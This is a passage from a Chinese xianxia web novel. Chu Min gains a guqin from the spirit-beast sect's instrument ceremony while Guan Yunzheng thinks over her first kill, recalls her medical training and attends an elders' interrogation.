吹笛人——应当就是面前人的兄长,收起笛子走来:“多谢姑娘施以援手,在下灵兽派弟子,叶浔。” 楚悯回礼:“天问派弟子,楚悯。” 使鞭子的那人从他兄长身后冒出个脑袋:“诶?哪个悯?” “怜悯的悯。”楚悯答道。 “还挺巧,我们同音不同字,我叫叶泯,童心未泯的泯。” 楚悯漫无边际地想,要是云崽在旁边估计会说:“那是挺童心未泯的。” 先前没注意,此刻平稳落地后,楚悯才分出注意力去观察二人,发现他们的面孔非常相似,像是—— “二位是,孪生兄弟?”她猜测道。 叶浔颔首:“是,家弟顽皮,行事不太靠谱,让楚姑娘受惊了,多有得罪。” 天下的兄长难道都是这般吗?套话说得太顺了她每每听了都觉得头疼,容易让她想起她那位啰嗦的兄长来。 “楚姑娘怎会来此?”叶浔将巨蚺收回特制的灵笼,只见银光一闪,那庞然大物身影凭空消失,变成一团光球,被叶浔拢进袖中。 楚悯简单解释了自己的来意。 叶泯大大咧咧地拍了一把他兄长的肩头:“我们门中这几日正好有新生乐器大典,不如你也来看看?” 叶浔任由他在自己肩头胡来,也没反驳:“楚姑娘若是愿意,我这就和门中长老传信。” 楚悯倒是没什么不愿意,只是不由得思索,传送法阵会将她送至此地,还恰好赶上驻地仙门这所谓的新生乐器大典,这些是否也是那二位计算好的一部分呢? 至于这大典…… 叶泯像个得了什么宝贝就要拿出来同亲朋好友们炫耀一番的孩童,看她不说话便自顾自地解释道:“我们灵兽一派讲究顺其自然,一般都是乐器挑人,故而每年都会给新生乐器举办仪式。” 叶浔正低头用灵牒与门中传信,闻言头也不抬地说道:“前言不搭后语,重说。” 叶泯一脸委屈地“哦”了一声,重新解释道:“灵兽派的乐器有限,都是天生地长形成的,至今不明原理,但若是遇到有缘人,乐器便会自发选择主人。” 叶浔“嗯”了声,像是终于满意了他的说辞,放下灵牒:“我已同门中报备,楚姑娘,我们走吧。” **** “楚师兄不用把那些姑娘送回去吗?”关云铮看楚恽独自一人走来有些疑惑,不说那些姑娘,那个要押去审问的邪修也不用带走吗? 楚恽回头看了眼,解释道:“门中有他人负责此事。” 关云铮更疑惑了:“那楚师兄来此是为了……?”不是说感受到附近异动才来的吗?难道不是鬼灯楼的异动? 楚恽朝她笑笑:“我御剑中途察觉情况有异,先一步来了。” 意思是飞得慢的人收拾残局?好像也没毛病。 关云铮自觉不再多问:“那我们是先回门中还是……?” 楚恽神色居然有些惊讶:“你愿意随我回门中?” 啊,是不该愿意的吗? 关云铮有点茫然地答道:“我参与此事,不是该去配合问话吗?” 那什么,做个笔录? 楚恽才意识到他和关云铮在各说各的,不由笑出声来:“这倒是不用,我是以为你会觉得天问太多规矩,你去了会不自在。” 那确实也是,要不她撤回? “既如此,我们御剑回去吧?”楚恽像是坚持不懈往家里邀请小朋友的家长,终于邀请到了一个不介意他家规矩多的小朋友,神情几乎有点过于兴高采烈了。 关云铮一边答应一边在心里发愁,她还没用摇羽御剑过呢,待会儿这祖宗不会把她从剑上掀翻下去吧? 她还在挣扎,楚恽已经在剑上站好了,倒是也没催她,始终用一种期待和关爱混杂的眼神看着她。 好像明白为什么刚开始小悯会任由通信的灵牒在袖子里发光了……来自哥哥的过度关爱真是让人难以招架啊。 她硬着头皮御剑,缀在楚恽身后,朝着盈都峰的方向飞。 脚下的摇羽异常配合,比木剑飞行的感觉丝滑安稳一百倍。 等等,不会就是存着这样的攀比之心才这么安稳的吧? 关云铮陡然冒出这么个想法,又觉得以摇羽的性格来说,这个猜测也不是不可能。 毕竟当初是被她师父困在剑里的,还是个灵体的时候也没少戏耍她,虽然不至于故意把她摔下剑,但新仇旧恨一起报,晃她一两下的事情也不是不可能。 好在盈都峰不算多远,没过多久楚恽就回头对她说:“快到了,准备落地吧。” 关云铮点头,操控着剑往下落。 盈都峰和青镜山从外面看就有很大的不同,但要具体形容的话,似乎也没法找到一个合适的说法。 盈都峰边界很鲜明,山头的数量也不多,周围不是村落就是城镇;而青镜山完全处在荒郊,甚至还有几个山头是鸟不拉屎的荒僻之地,压根没人去过。 关云铮想起自己处在闹市中心的初中,和位于荒郊野外工业园区对面的高中,觉得还挺适合拿来形容这两个门派的。 没有说盈都峰比青镜山低一等的意思。 不过天问这是……大隐隐于市? 盈都峰山脚下的人流几乎能用“络绎不绝”来形容,楚恽带着她刚从剑上落地,就吸引了一大帮人的注意。 关云铮恐人症发作,跟在楚恽身后一言不发地加快步子,听见周围此起彼伏的“仙长”,只能扬起一个生硬的笑容,侧过身去点头示意。 喊喊楚恽也就算了,喊她仙长算怎么回事儿啊,要是他们知道她才入门一月左右,这几声仙长立刻收回去不算完,恐怕还得用“我就知道”的眼神朝她打量好几眼。 好在很快就到了盈都峰入口,路边的一处石碑浮现出几行复杂的符文,像是在确认来者身份。 楚恽站在原地等了一会儿,随即回头对关云铮道:“好了,我们走吧。” **** “楚姑娘想要什么样的乐器?”叶浔领人进了山门后问道。 楚悯跟在他身后,如实摇了摇头:“我对乐器并无了解。” 叶泯插话:“我觉得古琴比较适合楚姑娘,楚姑娘你说呢?” 叶浔头也没回地一甩手。 楚悯不明所以地看向走在她身侧的叶泯。 噗,被禁言了。 无视了快走几步到他旁边无声控诉的叶泯,叶浔继续说道:“楚姑娘此行可有其他要务在身?” 楚悯再度摇头:“并无。” 叶浔还想再说什么,忽然停顿了一下,低头从袖子里摸出方才的灵牒。 那灵牒上正迅速地浮起字来,亮光闪烁得楚悯在他身后都能看见。 叶浔沉默着看完灵牒上的信息,转过身看向楚悯。 灵牒上说了什么?与她有关? 叶浔的神色看不出什么变化:“楚姑娘,请随我来。” 楚悯了然,看来确实跟她有关。只是叶浔出于某种她暂时没看出来的原因,没有表露出来。 会是什么原因?又是谁传的信?灵兽派的掌门?长老? 难道是章存舒已经知道她来的是鹧鸪山,给他们的掌门传信了吗?那他会说什么? 得知这一消息的灵兽派掌门又会说什么? 楚悯跟上叶浔的步子,被解除了禁言的叶泯委屈巴巴地走在她旁边,一眼又一眼地瞪他兄长的背影。 叶浔没回头:“眼睛没处放了?” 叶泯立马扭头调转视线:“我看风景。” 叶浔笑了一声,没揭穿他。 楚悯不做声地走在两个兄弟之间,感觉二人的相处模式比她见过的许多兄弟都有意思多了。 “大典很快就会开始,楚姑娘请在此稍候。”叶浔领她到了一处水榭,又扭头看向叶泯,“你在这待着,有谁过来都别搭理。” 叶泯比楚悯还要状况外,一脸茫然地追问:“谁要来啊?” 叶浔揉了一把他的脑袋:“总之待在这。” 叶泯不明所以地“哦”了声:“那你要去做什么?你还回来吗?” 叶浔无奈地笑了声:“我不到这来还能去哪?只是离开一会儿。” 说完他正打算走,忽然又想起什么,从袖子里把方才收了巨蚺的灵笼拿出来,交到叶泯手里:“要是来了讨厌的人,就用灵犀吓唬一下。” 叶泯一脸惊恐地接过灵笼:“门中有谁犯得上用灵犀吓唬啊?” 叶浔没回答,只是又对楚悯点头示意,随后离开水榭走远了。 叶泯拿着灵笼放也不是收也不是,只好巴巴地捧在手里,看向楚悯的目光都可怜兮兮的。 明明是孪生兄弟,左不过片刻的年岁之差,居然会有这么大的区别吗? 楚悯被他用这样的眼神看着,沉默了片刻还是决定安慰一下:“应当是你门中长老等人。” 叶泯皱起眉头,这半天下来看惯了他脸上的轻松神色,还是第一次看到他做出这样的表情,严肃里掺杂了一点厌恶似的,只不过一闪即逝,楚悯没能看出更多端倪。 “他们来做什么?”叶泯与楚悯隔了一个身位坐下,把灵笼放在水榭正中的石桌上,语气带着点讽刺。 灵兽派的长老……看来在门中风评很一般。 “听说我们抓到一大一小两只灵虎,准备来分一杯羹?”叶泯看了眼远处逐渐热闹起来的水榭,说话的语气不大尊师重道。 楚悯没接话,猜测这些长老估计不是为了灵虎的事而来,怕是因为她来的。 叶泯倒也不介意她不说话,坐了会儿又从暗袋里摸出一个陶埙,察觉到楚悯的目光看过来,解释道:“这个不是我们门中的乐器,是我哥哥给我做的,没有什么灵气。” “灵兽派本来也不是什么正统音修,只是前人凑巧发现山中的部分灵兽可以听懂乐声,才演变出以音御兽这一派系,又因为音修对体术的要求不太严格,所以修这一派的人越来越多。”叶泯把玩了一会儿手中的陶埙,“像我这样没有乐器又喜欢耍鞭子的,就容易变成众人口中的异端。” “异端有时候是好事。”楚悯忽然开口道。 叶泯侧脸看她,当她是在安慰自己,不太在意地摆手:“他们叫得多了,我耳朵都长茧了,听见这俩字自发装聋,楚姑娘不用安慰我。” 楚悯笑了一声:“没有完全正统的修炼方式,广受推崇的剑修也不过是因为这些年的仙盟尽数是些酸腐剑修,若是仙盟有你这样的‘异端’,想来仙门也会盛行软鞭陶埙之类的流派。” 叶泯笑起来:“你想说上行下效吗,那确实也是,不过我哥哥就不太管这些,他那笛子甚至能把人打晕。” “那你哥哥不会被叫作异端吗?”楚悯看他。 叶泯与有荣焉似的:“他们倒是想叫,但没那个本事,我哥哥可是灵兽派音修一脉至今,境界最高的音修。” 楚悯笑起来,叶泯疑惑看她。 她看向远处水榭:“异端,是随波逐流且无能之人,对清醒之人的无力指控。” “所以被称作异端,有时也不失为一件好事。” 叶泯听见这位初次见面的天问这样说道—— 作者有话说:写完后,鱼:这几天菇突猛进! 好吧,菇突猛进! 第40章 关云铮待在楚恽给她安排的厢房里, 坐在桌边跟摇羽拌嘴。 摇羽剑身上的血迹已经被她擦洗干净了,当时一边擦一边还得被摇羽埋汰,长这么大实在是没搞过这么委屈的卫生, 因此关云铮此刻的语气也不是很顺耳, 说两句就得刺挠一下。 “第一次杀人,不害怕?”摇羽的语气隐约带着点关切。 关云铮看了看自己持剑的右手, 坦白道:“害怕。” “这就没了?”摇羽有点失语。 她看了眼摆在桌上的剑, 调侃道:“怎么?你想听我惊慌失措还是想看我痛哭流涕?”没等摇羽炸毛,她就收起了自己语气里的调侃,变成独处时没什么表情的样子,“我从蒲先生教武器的第一天起,就开始为这件事做心理准备了。” 就像她准备学医的第一天,就做好了准备面对未来的血肉横飞。 她记得高一的时候看杂志, 忘了是某者还是某林,也不知道故事是经典半真半假的编造还是完全写实, 总之看到了一个救护车司机的自述经历。 车祸现场在救护车赶到的这些场景里绝对能排上惨烈的前几名,身首分离的, 断胳膊断腿的, 身体被扭曲得不成人样的各种惨状不一而足。 关云铮一直觉得自己最大的一个缺点就是太有想象力了,当时读到这篇自述,得打上马赛克才能播的画面像走马灯一样在她脑海里连环播放, 差点没给她吓吐了。 结果她后来学了医, 还学的临床。 解剖大体老师时她没产生任何的不适,因为赶进度这件事就像是什么安神镇定的猛药,只要想到隔壁教室同样负责上肢的某些小组已经解剖到了背部,而他们还在分离手臂的肌肉、神经和血管,臂丛的每一根神经都没定位清楚, 哪怕她有一点恐惧和不适的苗头,都能立刻被压制回去。 死亡很残酷,但活着更甚。 做不完意味着了解不彻底,意味着期末考出现的部位辨认可能没见过,意味着实验考挂科,意味着实验占比40%的局解也可能会挂科。 怎么样,这样一想是不是根本来不及恐惧了。 她只有在发现自己小组的大体老师眼睛没有完全闭上的那一刻感到了恐慌,因为在她低头解剖时,那道缝隙里能看见一点点大体老师的眼睛。 没有比窥见死者的眼睛更可怕的事了,因为那是对死亡的直接凝视。 或许是死后肌肉萎缩,又或许是别的原因,总之那道微小的缝隙一直存在,她还为此担心了一阵,之后进展到头面部该怎么办,她没有勇气在眼睛都没有完全闭上的死者脸上动刀。 正如祖宗如果真的会显灵,这世上大概也不会有不肖子孙了吧? 因此她得感谢21世纪的第二次灾难,新冠疫情让他们被封锁了整整两周,学生被允许自由活动时已经逼近了期末考,再无时间进行具体的实验操作。 或许也算是一种因祸得福? 当时整个大班都没有多少人来得及解剖头面部,故而最后的实验考也只到颈部的解剖结构辨认,让很多提前担心辨认十二对脑神经的人松了一口气。 可能是当时没能解剖完成的头面部让她心生侥幸,才导致了她一年后从门诊手术室里头昏眼花、恶心想吐地出来。 她只是和同学一起观看了一个甲沟炎的手术,不知道是被远超她想象的出血量冲击,还是被带教老师毫不手软的操作震慑,又或是门诊手术室的通风太差,环境太闷,总之她和另外三个同学脱下手术帽和口罩后全都犯起了恶心。 带教老师一剪子剪到指甲根部,硬生生把边缘的指甲全部拔除的画面在她脑海里久久不去,患者打了四针麻醉也痛吟不止的景象,更是让这场手术变得像是什么医学生入门第一课(残酷版),活像是真正的临床生活给他们这些身处校园乌托邦的小崽子,一次严厉的下马威。 总之整个人都不好了。 所以某种程度上来说,在大四第一学期考完最后一门期末考后穿越过来,躲开了大四第二学期和大五一整年的实习生活,也算是一种好事吧。 好吧才不是。 来这边是不用血呼哧啦地救人了,但是得杀人啊! 关云铮装不下去一点,趴到桌上叹了口气:“要不是刚杀完那邪修就被赶鸭子上架地去安抚那姑娘,又强打精神跟她聊了一路,我早就吓晕了。” 就算那是邪修,那也是活生生的人啊,老天,她穿越到这边之前连杀兔子都是静脉注射空气处死的! “你会觉得杀错人吗?”摇羽难得没怼她,语气听起来甚至挺温和。 关云铮依旧趴在桌上,这姿势虽然对腰不好,但架不住它舒服啊:“想过那么短暂的一瞬间,后来自我开解了。一来跟他同行的那两个人确实对那姑娘动手了,他没阻拦说明也不是什么好东西,这种人我一般主张物理阉割,杀了算轻的;二来他都要杀我了,我反击一下怎么了,他脆皮经不住杀,也不能怪我吧?” 一番话有理有据才怪。 摇羽都被她说无语了,沉默半晌才说:“物理阉割?阉割就阉割,物理是什么意思?” 关云铮已经无所谓摇羽会不会觉得她不像个此世人了,耐心地跟它科普道:“就是别的地方的一种说法,物理就是你知道的那种,从根本上阉割了;还有一种叫化学阉割。” 摇羽艰难地接话:“化学阉割是没那么根本的?” 关云铮没觉得这个话题有什么难以开口的:“通过药物让它失去功能。” 摇羽理解了,但是摇羽又沉默了。 关云铮觉得好笑:“说真的,剑灵应当不分男女吧?”毕竟摇羽的声音听着也是没那么性别分明的少年音。 摇羽“嗯”了声。 关云铮更想笑了:“那你怎么表现得像是感同身受了一样,我知道有些男人确实会共情这种人,你不会也要感同身受吧,那我可得趁早把你丢回剑冢里。” 摇羽的声音终于大了些:“我感同身受那种人做什么!我是没想到你,你”它气结半天没说出来,关云铮好心给它接上话茬:“没想到我一点也不避讳?” 摇羽没说话。 关云铮坐直身子:“对这种恶行没什么好避讳的,如果人人都避讳谈起这种事,那针对这种事的律法就永远不会落实。” 摇羽还是没说话,过了好久才说:“你不担心杀错人就好。” 关云铮感觉肚子有点饿了,琢磨着待会儿找不着楚恽的话自己该怎么解决午饭,因此语气听起来有些心不在焉:“对已经做过的事反复思考正确与否挺没意义的,思考一两次给下一次总结经验就差不多得了,总在思考不多余内耗吗?” 还没等摇羽想明白内耗是什么意思,关云铮就又说道:“再说了,杀都杀了,思考杀没杀错也没什么意思,难道杀错了会有冤魂报复?” 摇羽语塞片刻:“大概?” 关云铮站起身,伸了个懒腰:“他也有脸?要是以后真遇到这厮的冤魂索命,我就得质疑鬼差的办事能力了。” 摇羽绝望地说道:“你可真敢说啊。” 关云铮拿着剑出门了:“你也可以装作没听到。” **** 楚悯坐在水榭中颇觉无聊,只好又老毛病似的揣度起令她不解的事情来:进入灵兽派门中那时,叶浔是接到了什么人来的信呢? 他接到信就下意识转身过来,这反应显然是信与她有关,但他又很好地掩饰了自己的所有情绪,除了他离开水榭时对叶泯说的话,几乎看不出他似乎有点生气了。 为何生气? 他走时甚至让叶泯用灵犀吓唬门中长老,言行举止如此守规矩的人居然会说出这种话这种感觉不亚于某天看见她兄长对长老张牙舞爪,光是想想就觉得他是中邪了,简直让人想哆嗦。 叶泯对长老们的态度更是毫不掩饰的厌恶,兄弟俩一致的态度无疑表明:那信中内容必是与长老和她有关。 看来是他们在山中捕兽,她从旁协助的事被门中知道了?这倒是不奇怪,毕竟叶浔要往门中带人势必要同掌门或长老禀报,其他好事者会知晓也是情理之中。 但那信中到底是如何提到她的? 听闻她是个天问,想让她帮忙卜算点什么?这好像也不值得动怒吧?说得难听些,她不过与他二人萍水相逢,他们应该还不至于为了她生气到跟门中长老闹不愉快吧? 总不会是她低估了人的恶意,他们还想让她做点什么伤天害理的事?那她目前的能力可能也办不到啊。 楚悯没意识到自己的思维已经被关云铮带跑偏了,不过她倒是意识到了自己另的一个变化:按照往常她的习惯,遇到思考了这么久还没得到确切答案的事情,她会直接起一卦算一算,但现在可能是被云崽念叨多了,她也开始非必要不起卦了。 毕竟“问”这种天赋烧命,以前她的人生没什么意思,早死几年也没什么,但她现在的人生有意思的地方太多了,她还挺想在世上多留几年的。 身旁的叶泯忽然站起身,楚悯朝他面向的方向看去,正对上不远处那队人之首看过来的视线。 楚悯神色淡然地收回视线,当做自己什么都不知道,继续安然在水榭里坐着。 “叶泯。”为首之人开口道。 叶泯背对着楚悯,无法窥见他此刻脸上的神情,只能听见他恭敬地称呼对方“秦长老”。 楚悯决定回归墟就去问问章先生和步掌门灵兽派内长老的名字。 被称作秦长老的人就驻足在了水榭之外,没有走进来,但楚悯能感觉到他打量的视线,因此颇为淡定地把放在石桌上的灵笼拿起来把玩了。 也不知道灵犀在里面会不会觉得颠,楚悯这样想着,默默停下了手上的动作,只是把灵笼捧在手心里端详。 “那位便是你兄长提及的天问中人?”秦长老低声说道。 叶泯“嗯”了声,语气很不热络。 秦长老没跟他计较,又问道:“她可愿帮我们卜算一番?” 叶泯忍了忍没忍住,没好气:“那您去问她,我哪能给客人做主。” 秦长老也忍了忍,可能是年纪大了,忍习惯了,轻易就把方才涌上脸的那点愠色收回去了:“你可知她是谁?” 楚悯疑心这些话都是说给她听的,叶泯没刻意收着声也就罢了,秦长老听着鬼鬼祟祟,倒是从水榭边挪动几步啊,她坐在下风口的位置,什么悄悄话也被她听去了,不知在形容鬼祟些什么。 秦长老可能还是没怎么忍住,因为说完方才那句还不等叶泯开口呛他,他便自顾自接上话茬,自问自答道:“她是天问这些年来最年轻的一位修士。” 叶泯没回头看楚悯,语气依旧混不吝似的:“怎么,天问派从没收过十五以下的?” 秦长老被他气得胡子都快歪了,伸出手指隔空点了点他才说:“不是天问,是天问。” 他特意在第二个“天问”上加重了语气。 楚悯听明白了。这人不知道从哪得知她是这些年来可问天的人中年纪最小的,指望她用天赋算些寻常情况下不可窥见的东西。 无意让叶泯再因为她惹得门中长老不快,楚悯捧着灵笼起身,走到叶泯身侧:“秦长老。” 秦长老没料到她会直接走出来,愣了一下,那张看破岁月的老脸上没看出什么不自在:“楚修士。” 虽然平时她也没少被叫做楚修士,但是跟叶浔叶泯兄弟俩的楚姑娘一比,听着无端扎耳朵,像是功利的一面被毫不遮掩地端到台面上一轮,让人心生反感。 楚悯伸出手,把灵笼递给叶泯,随后抬头说道:“秦长老想让我算什么?灵兽派此番搭救,我确实该报答一番。” “不过,搭救我的是身边这位与他兄长,是不是先问过他们二人的意愿更好一些?”—— 作者有话说:小悯以前:狗叫,懒得理 小悯现在:吵死,别叫(bu) 40-50 第41章 秦长老愣了一下, 今日接二连三被门中小辈顶撞也就算了,没想到这位天问的也这么大派头。他扯出一个笑容:“楚修士说的是,那叶泯, 你的意愿呢?” 叶泯看上去很想把灵犀从灵笼里掏出来吓唬一下秦长老, 一直低头端详着他早就熟悉的灵笼,闻言抬头道:“我没有这种意愿。”他呛了一句, 又说, “长老,您既然知道了楚姑娘的身份,就应该也知道,问天是要付出代价的吧?” 楚悯看了叶泯一眼,叶泯没看她,捧着灵笼往水榭的纱帐上虚虚一靠:“人家虽然说了要报答, 但代价太大总不好让她一个姑娘承担吧,人家还年轻, 能力也强,折损太多岂不可惜, 要不……您表示表示?” 秦长老……秦长老大概快气死了。 叶泯似乎还打算火上浇油一番, 远处的水榭却忽然传来惊呼声,此起彼伏的,打断了此处水榭的争吵。 楚悯和叶泯一齐转头。 只见另一边的纱帐被风掀起一角, 随即一阵乐声传来, 楚悯下意识往那边看了一眼,水榭之外响起一阵水声,像是有人在这个小池塘里乘船似的。 发生什么了? 冥冥之中像是有什么东西在牵引,可能是天问一派求知的本能,也可能是别的原因作祟, 楚悯没来得及看一眼秦长老的脸色,就转过身向那被风掀起的纱帐走去。 乍看之下,水面下似乎有一团柔和的光,细看之后,楚悯却发现那光亮分明在水面之上,并且正飞快地朝她所在的方向掠来。 那光亮看着虽无实体,但这种速度下她本应避开,远处水榭中人也正不明所以地呼喊着。 楚悯却仿佛听见有什么声音在指引着她,于是她伸出手来。 那团光亮骤然停下猛冲猛撞的势头,在距她指尖只余几寸之处急停下来,随后居然轻飘飘的落在了她的掌心。 楚悯收回手,那团光亮的光芒越来越弱,不过眨眼之间,就在她手上变换了模样。 楚悯手比眼快,本能地察觉到不妙,把另一只手也拿了出来,紧急捧住了——由那团光亮变成的一架古琴。 好险,差点拿不稳砸了。楚悯在心里舒了一口气。 叶泯却无法像她一样淡定了,凑上前来大呼小叫:“是它?!” **** 关云铮拿着摇羽还没走多远,正好碰上了来厢房找她的楚恽:“云铮。” “楚师兄。” 楚恽笑着问她:“是不是饿了?我带你去吃些东西。” 关云铮很想来一句“好耶”,但考虑到她跟楚恽还没那么熟,以后也不一定能经常见到,于是还是决定收敛一点:“好,多谢楚师兄。” 楚恽带着她往外走:“不过吃完之后可能得麻烦你帮个忙。” 关云铮抬头:“是什么?我能力有限,不一定能帮上忙。” 楚恽似乎有些惭愧:“师门规矩比较多,虽然我方才跟长老们说明了情况,但他们仍有些问题要问你。” 关云铮恍然:“这不算是帮忙,本来也是我该做的。” 楚恽看她:“你不觉得麻烦就好。不过长老们也明言,既然你来此地是想寻找武器,又帮我们解决了当地异动,问过你问题后会给你相应的酬谢。” 出乎楚恽意料的是,听完这些话后的关云铮居然摇了摇头:“楚师兄也看到了,我已经有一把趁手的配剑了。” 楚恽困惑:“那云铮来此是?” 之前刚碰到楚恽的时候还有其他人在场,关云铮也无意多说,只简单说了归墟安排这次下山的意图,但那并非她的意图。 这会儿她实话实说道:“我先前遇到过一次鬼灯楼的人,当时他们想在我身上用引魂术,”她又往真话里掺了点假话,“当时是我师兄救的我,这次我想知道,若是当真被引魂,这些魂魄最终的归处是哪里。师门给我们此行布设了传送阵法,传送之前我便在想此事,没想到会被传送到天问。楚师兄,难道天问与魂魄也有些关联?” 说完后她才意识到自己的话在有心之人听来可能有些歧义,只是楚恽听见了还好,要是旁的不知她来历的天问,听见她先提到鬼灯楼的邪修,后又把话题转向天问,估计会觉得她在血口喷人吧。 关云铮于是又找补了一句:“没有说天问有问题的意思。” 楚恽被她逗笑了:“我自然没有那样想。不过天问确乎与魂魄有些关系,毕竟魂魄关乎人的生死,而天问的终点便是有关生死的卜算。” 关云铮眨眨眼:“我还以为,天问的终点是天道的卜算。” 楚恽明白了她在说谁,脸上的神色变得更温和了一点:“天道也有生死。” 懂了,“生死”才是终极命题。 To be or not to be,莎翁诚不我欺。 两人说话间终于走到了地方,可能是天问门中已经辟谷的人占多数,此刻并没有什么人,楚恽给她端了好几样吃食放到桌上,期待地看着她。 关云铮看了眼桌上的碳水,蔬菜,碳水,肉,有种被爱屋及乌得无力承受的感觉。 楚恽已经辟谷多年,不用吃东西,坐在她对面继续说道:“正如归墟门中的不熄鼎,天问也有镇山灵器,叫溯洄。” **** 闻越一上午已经往传送阵法那里跑了好几次了,但很可惜,只过去了一个上午,一个回来的学生都没有。 连映在他第三次跑出去的时候往他手里塞了两块点心:“尝尝,太甜跟我说。” 闻越一边把点心往嘴里塞,一边头也不回地往外边跑了。 江却进门时他已经跑得只剩个决绝的背影,一贯严肃的大师兄似乎是无奈地笑了笑:“怎么又跑过去了?” 连映把另一块兔子形状的点心给他:“担心云崽,已经是第三趟了。” 江却端详了一会儿手里的兔子:“上午还没过去,应当也找不到合适的武器?” “你觉得云崽还会找武器?”连映看他一直不动口,颇觉好笑地问他,“怎么,下不了口?” 江却叹了口气:“做得这么精致,如何忍心下口。”他顿了顿,又继续说,“云铮确实已经有了一把配剑,但另找一把也不是不可能。” 连映把荷花形状的点心塞进他另一只手里,把兔子拿回来:“先不说云崽自己的想法,单论她现在的那把配剑,怕是容不下另外一把剑。” 江却对摇羽所知甚少,闻言看向连映。 连映拿了一块花样简单的点心,咬了一口:“云崽现在的配剑里有个在剑冢形成的剑灵,经常和她斗嘴。” 江却咬了口荷花酥,东西占着嘴巴一时说不了话,因此只点了点头。 “待会儿师父来了问问他,他应该能看见云崽去哪了。”连映拍案定论,又看向咽下点心的江却,眼神带着点不明显的询问。 江却“嗯”了声:“这块甜味正好。” **** “这是,新生乐器?”楚悯看向身侧的叶泯。 叶泯摇摇头,远处水榭看过来的探究视线忒烦人,他伸手把纱帐又拉上了:“它不是这一次的新生乐器,每半年我们会举办一次大典,这是上一次的。” 他有点想不明白:“它自从在月光下形成后就再也没现过身,看见过它的人都觉得是自己的幻觉……没想到它一直在。” 楚悯感觉自己捧了个烫手山芋,闻言简直转身就想把琴还给叶泯。 叶泯看出她的意图,对她摇了摇头:“方才那么多人看着它都没显形,独你伸手后现身,你给我它还是会跑的。” 楚悯只好退而求其次:“那我把它放桌上?” 叶泯也不太确定:“你试试?” 楚悯小心地把怀里的古琴放下。 无事发生,古琴还是古琴。 叶泯舒了一口气:“估计只要你没有不要它的想法,它就不会变回去。” 楚悯都被他言外之意说得有点惶恐了:“难道……” 叶泯对着她郑重点头:“它是你的乐器了。” 一句话掷地有声,整个水榭一时都静了,大家各自陷入沉默,只有放在桌上的古琴看热闹不嫌事大似的响了一声,像是在赞同叶泯的话一般。 始终站在水榭外的秦长老重重地咳了一声:“新生乐器去向还需谨慎,叶泯,不可擅自做决定。” 叶泯像是被他逗笑了,哈哈大笑了好一会儿才说:“那您过来拿回去呗?” 秦长老面色不虞:“你今日到底发的什么疯,我说一句你有十句等着我,你兄长就是这样教导你的?” 叶泯比他脸色还难看:“您这么大年纪了有脸让一个小辈烧命给你卜算,我怎么不能回几句嘴了?再说了您本来也看不惯我,还需要今日的由头吗?我哥教导我尊师重道,你算我哪门子的师长,又修的是什么不要脸的道?” 水榭里霎时比之前更寂静了,桌上的琴自娱自乐似的响了一串,像给叶泯喝彩似的,听着十分欢快。 楚悯还没听过比这更不尊师重道的话,一时之间都不知道自己该不该开口了,直到叶浔的声音从水榭外面传来:“秦长老。” 秦长老怒不可遏地转头。 叶浔对着他颔首:“此事我已禀明掌门,您若是对此决议有异议,可以去问他。” 秦长老一甩袖子:“此事?你说的是哪件事?你这位好弟弟冲撞我的事?” 叶浔神色平淡:“自然是这琴择主之事,至于家弟出言不逊之事,掌门已经知晓了。”他翻出掌心一枚器物,正是门中用来即时传讯的法器。 那法器在他手心闪烁着,显然是正在通讯中。也不知道叶浔是什么时候来的,那边的灵兽派掌门又听到了多少。 秦长老滔天的怒火顷刻便少了一半,语气带了点难以置信:“你这是什么意思?” 叶浔收回手:“家弟牵涉此事,我不便插手,故而让掌门评判;掌门并无委托楚姑娘帮忙之意,您提出要求,也该交由掌门评定对错。” 言下之意,你同我弟弟吵架,我不便向着他,是我有分寸;但掌门没提的事,你擅自起头,便是你越俎代庖了。 楚悯索性坐回桌边打量桌上的古琴了,感觉这场口舌官司发展至此,已经和她全然无关了。 叶泯有了靠山也懒得自己吵了,凑过来问道:“楚姑娘想好给它起什么名字了吗?” 楚悯点点头:“你方才说,它是在月光下形成的?” 叶泯也点头:“是啊。” 楚悯笑起来:“那我想好了。” 她伸手摸了摸古琴那温凉的琴身:“就叫,月下逢。” **** 关云铮顶着楚恽关爱的视线吃完了桌上所有的吃食,肚子撑得快炸了,饭晕像传说中的鹤顶红一样立竿见影,瞬间让她困倦得直想打哈欠。 楚恽看她实在太困,忍不住问:“不如我去同长老们说一声。” 关云铮掐了一下自己的眉心:“没事,现在去吧,我还想早点解决后去看看溯洄。” 毕竟听名字完全不知道是个什么东西,再加上楚恽刚才又提到,溯洄中游动的便是无处可去的魂魄,让她更好奇了。 会是什么?听上去很像是水流一类的东西,是什么样的水流呢? 魂魄又是以什么样的形式在其中“游动”呢?像动画片里一样的鱼群吗?还是看不真切明暗交杂的光点? 楚恽叹了口气:“小悯同我说过你是她在归墟结交的好友,我就总想着,如果小悯也在这,也会给你准备这么多。” 关云铮心说那倒不至于,小悯的关爱不会像你的关爱一样如山体滑坡。 但她是不会说出来的,只是乖巧地点了点头。 两人一前一后地走过一段路,来到天问门中议事的地方。 大门虚掩着,像是在等候他们到来。看守的弟子见了楚恽,推开门让他进去。 关云铮跟在他身后,垂着眼用大拇指的指尖掐着食指的关节,以此克制着自己的困意,生怕自己待会儿不小心睡着了。 议事堂光线明亮,但依旧点了几盏灯,关云铮端详了一会儿,莫名觉得这些灯是拿来传信用的,因为几乎没什么亮度。 要是信件多的时候,会不会像霍格沃兹的礼堂一样到处飞信? 只是还没等她的思绪再乱飞一会儿,跪在礼堂正中的人就吸引了她的注意力。 ——是那个鬼灯楼的邪修—— 作者有话说:云想衣裳花想容, 春风拂槛露华浓。 若非群玉山头见, 会向瑶台月下逢。——李白《清平调·其一》 一上午码完困得要薯了…… 第42章 不知道审讯是还没开始还是已经进行了一段时间, 关云铮没能从那个邪修的背影上看出端倪,毕竟人还跪得挺端正的,不像是经历过严刑拷打。 话说天问会严刑拷打邪修吗?不会有什么人道主义关怀吧?对这种人也可以不用太关怀的。 关云铮一边在心里嘀嘀咕咕, 一边跟着楚恽往里走, 感觉议事堂里肯定有什么东西能提神,她本来都快困得昏迷了, 这几步走下来, 愣是让她变精神了。 议事堂里的人不多,都坐在各自的位置上,见楚恽进来也没什么表情变化。 非常符合她对天问长老们的刻板印象。 虽然在座的也不怎么老就是了,最老的看着也就是凌风起的年纪。甚至没留胡子。 楚恽走到长老对面的一排位置,带着关云铮坐下。 “听楚恽说,你是归墟弟子?”主位左侧的那位长老开口问道。 关云铮在自己师门都没遇见过这么正式的场合, 闻言坐也不是站也不是,只好秉持过去21世纪的习惯站起来回答道:“正是。” 那长老似乎有点惊讶, 摆了摆手:“不必站着,坐着说吧。楚恽说与这邪修同谋的还有四人, 